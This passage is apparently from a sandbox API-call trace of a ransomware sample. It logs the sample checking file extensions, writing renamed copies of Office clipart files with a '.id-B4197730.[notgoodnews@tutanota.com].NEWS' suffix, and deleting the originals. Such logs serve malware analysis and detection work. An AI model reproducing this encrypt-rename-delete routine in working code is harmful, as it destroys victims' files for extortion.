lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.292] lstrlenW (lpString=".1cd") returned 4 [0091.292] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0091.292] lstrlenW (lpString=".jpg") returned 4 [0091.292] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.292] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.292] lstrlenW (lpString="J0099167.JPG") returned 12 [0091.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.293] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=43949) returned 1 [0091.293] CloseHandle (hObject=0x2f4) returned 1 [0091.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0091.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.293] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.293] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.294] GetLastError () returned 0x0 [0091.294] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xabad, lpOverlapped=0x0) returned 1 [0091.597] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xabb0, lpOverlapped=0x0) returned 1 [0091.601] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.601] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.601] SetEndOfFile (hFile=0x330) returned 1 [0091.601] CloseHandle (hObject=0x330) returned 1 [0091.601] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.601] SetEndOfFile (hFile=0x2f4) returned 1 [0091.602] CloseHandle (hObject=0x2f4) returned 1 [0091.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0091.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.603] lstrlenW (lpString=".doc") returned 4 [0091.603] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.603] lstrlenW (lpString=".docx") returned 5 [0091.603] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0091.603] lstrlenW (lpString=".pdf") returned 4 [0091.603] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.603] lstrlenW (lpString=".xls") returned 4 [0091.603] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.603] lstrlenW (lpString=".xlsx") returned 5 [0091.603] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0091.603] lstrlenW (lpString=".ppt") returned 4 [0091.603] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.603] lstrlenW (lpString=".zip") returned 4 [0091.603] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.603] lstrlenW (lpString=".rar") returned 4 [0091.603] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.603] lstrlenW (lpString=".bz2") returned 4 [0091.603] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.603] lstrlenW (lpString=".7z") returned 3 [0091.603] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.603] lstrlenW (lpString=".dbf") returned 4 [0091.603] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.603] lstrlenW (lpString=".1cd") returned 4 [0091.603] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.603] lstrlenW (lpString=".jpg") returned 4 [0091.603] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.604] lstrlenW (lpString=".doc") returned 4 [0091.604] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.604] lstrlenW (lpString=".docx") returned 5 [0091.604] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0091.604] lstrlenW (lpString=".pdf") returned 4 [0091.604] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.604] lstrlenW (lpString=".xls") returned 4 [0091.604] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.604] lstrlenW (lpString=".xlsx") returned 5 [0091.604] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0091.604] lstrlenW (lpString=".ppt") returned 4 [0091.604] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.604] lstrlenW (lpString=".zip") returned 4 [0091.604] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.604] lstrlenW (lpString=".rar") returned 4 [0091.604] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.604] lstrlenW (lpString=".bz2") returned 4 [0091.604] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.604] lstrlenW (lpString=".7z") returned 3 [0091.604] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.605] lstrlenW (lpString=".dbf") returned 4 [0091.605] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.605] lstrlenW (lpString=".1cd") returned 4 [0091.605] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0091.605] lstrlenW (lpString=".jpg") returned 4 [0091.605] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.605] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.605] lstrlenW (lpString="J0099182.WMF") returned 12 [0091.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.605] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3840) returned 1 [0091.605] CloseHandle (hObject=0x2f4) returned 1 [0091.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0091.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.606] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.606] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.606] GetLastError () returned 0x0 [0091.606] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xf00, lpOverlapped=0x0) returned 1 [0091.608] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf10, lpOverlapped=0x0) returned 1 [0091.608] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.609] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.609] SetEndOfFile (hFile=0x330) returned 1 [0091.609] CloseHandle (hObject=0x330) returned 1 [0091.609] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.609] SetEndOfFile (hFile=0x2f4) returned 1 [0091.610] CloseHandle (hObject=0x2f4) returned 1 [0091.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0091.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.610] lstrlenW (lpString=".doc") returned 4 [0091.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.610] lstrlenW (lpString=".docx") returned 5 [0091.610] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0091.610] lstrlenW (lpString=".pdf") returned 4 [0091.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.610] lstrlenW (lpString=".xls") returned 4 [0091.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.611] lstrlenW (lpString=".xlsx") returned 5 [0091.611] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0091.611] lstrlenW (lpString=".ppt") returned 4 [0091.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.611] lstrlenW (lpString=".zip") returned 4 [0091.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.611] lstrlenW (lpString=".rar") returned 4 [0091.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.611] lstrlenW (lpString=".bz2") returned 4 [0091.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.611] lstrlenW (lpString=".7z") returned 3 [0091.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.611] lstrlenW (lpString=".dbf") returned 4 [0091.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.611] lstrlenW (lpString=".1cd") returned 4 [0091.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.611] lstrlenW (lpString=".jpg") returned 4 [0091.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.611] lstrlenW (lpString=".doc") returned 4 [0091.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.611] lstrlenW (lpString=".docx") returned 5 [0091.611] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0091.611] lstrlenW (lpString=".pdf") returned 4 [0091.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.611] lstrlenW (lpString=".xls") returned 4 [0091.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.611] lstrlenW (lpString=".xlsx") returned 5 [0091.611] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0091.611] lstrlenW (lpString=".ppt") returned 4 [0091.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.612] lstrlenW (lpString=".zip") returned 4 [0091.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.612] lstrlenW (lpString=".rar") returned 4 [0091.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.612] lstrlenW (lpString=".bz2") returned 4 [0091.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.612] lstrlenW (lpString=".7z") returned 3 [0091.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.612] lstrlenW (lpString=".dbf") returned 4 [0091.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.612] lstrlenW (lpString=".1cd") returned 4 [0091.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0091.612] lstrlenW (lpString=".jpg") returned 4 [0091.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.612] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.612] lstrlenW (lpString="J0099183.WMF") returned 12 [0091.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.612] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4946) returned 1 [0091.612] CloseHandle (hObject=0x2f4) returned 1 [0091.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0091.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.613] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.613] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.614] GetLastError () returned 0x0 [0091.614] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1352, lpOverlapped=0x0) returned 1 [0091.615] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1360, lpOverlapped=0x0) returned 1 [0091.620] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.620] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.620] SetEndOfFile (hFile=0x330) returned 1 [0091.620] CloseHandle (hObject=0x330) returned 1 [0091.620] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.620] SetEndOfFile (hFile=0x2f4) returned 1 [0091.621] CloseHandle (hObject=0x2f4) returned 1 [0091.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0091.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.622] lstrlenW (lpString=".doc") returned 4 [0091.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.622] lstrlenW (lpString=".docx") returned 5 [0091.622] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0091.622] lstrlenW (lpString=".pdf") returned 4 [0091.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.622] lstrlenW (lpString=".xls") returned 4 [0091.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.622] lstrlenW (lpString=".xlsx") returned 5 [0091.622] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0091.622] lstrlenW (lpString=".ppt") returned 4 [0091.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.622] lstrlenW (lpString=".zip") returned 4 [0091.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.622] lstrlenW (lpString=".rar") returned 4 [0091.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.622] lstrlenW (lpString=".bz2") returned 4 [0091.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.622] lstrlenW (lpString=".7z") returned 3 [0091.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.622] lstrlenW (lpString=".dbf") returned 4 [0091.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.622] lstrlenW (lpString=".1cd") returned 4 [0091.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.622] lstrlenW (lpString=".jpg") returned 4 [0091.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.623] lstrlenW (lpString=".doc") returned 4 [0091.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.623] lstrlenW (lpString=".docx") returned 5 [0091.623] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0091.623] lstrlenW (lpString=".pdf") returned 4 [0091.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.623] lstrlenW (lpString=".xls") returned 4 [0091.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.623] lstrlenW (lpString=".xlsx") returned 5 [0091.623] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0091.623] lstrlenW (lpString=".ppt") returned 4 [0091.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.623] lstrlenW (lpString=".zip") returned 4 [0091.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.623] lstrlenW (lpString=".rar") returned 4 [0091.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.623] lstrlenW (lpString=".bz2") returned 4 [0091.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.623] lstrlenW (lpString=".7z") returned 3 [0091.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.623] lstrlenW (lpString=".dbf") returned 4 [0091.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.623] lstrlenW (lpString=".1cd") returned 4 [0091.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0091.623] lstrlenW 